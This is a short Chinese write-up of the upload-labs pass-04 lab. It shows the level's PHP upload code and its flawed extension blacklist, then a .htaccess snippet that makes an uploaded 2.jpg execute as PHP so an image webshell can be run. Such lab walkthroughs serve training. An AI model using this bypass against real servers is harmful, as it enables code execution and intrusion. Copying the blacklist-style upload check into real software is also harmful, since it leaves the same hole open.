upload-labs第四关 pass-04 htaccess绕过

五、pass-04 htaccess绕过

源码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
    }
}

看一下提示：

黑名单中限制了很多后缀，但是没有.htaccess，我们可以上传.htaccess文件更改apache配置

htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

先写一个.htaccess文件

<FilesMatch "2.jpg（即将上传的文件名）">

  SetHandler application/x-httpd-php

</FilesMatch>

这段代码的意思是把2.jpg文件当作php文件执行

上传.htaccess文件,然后再上传2.jpg图片马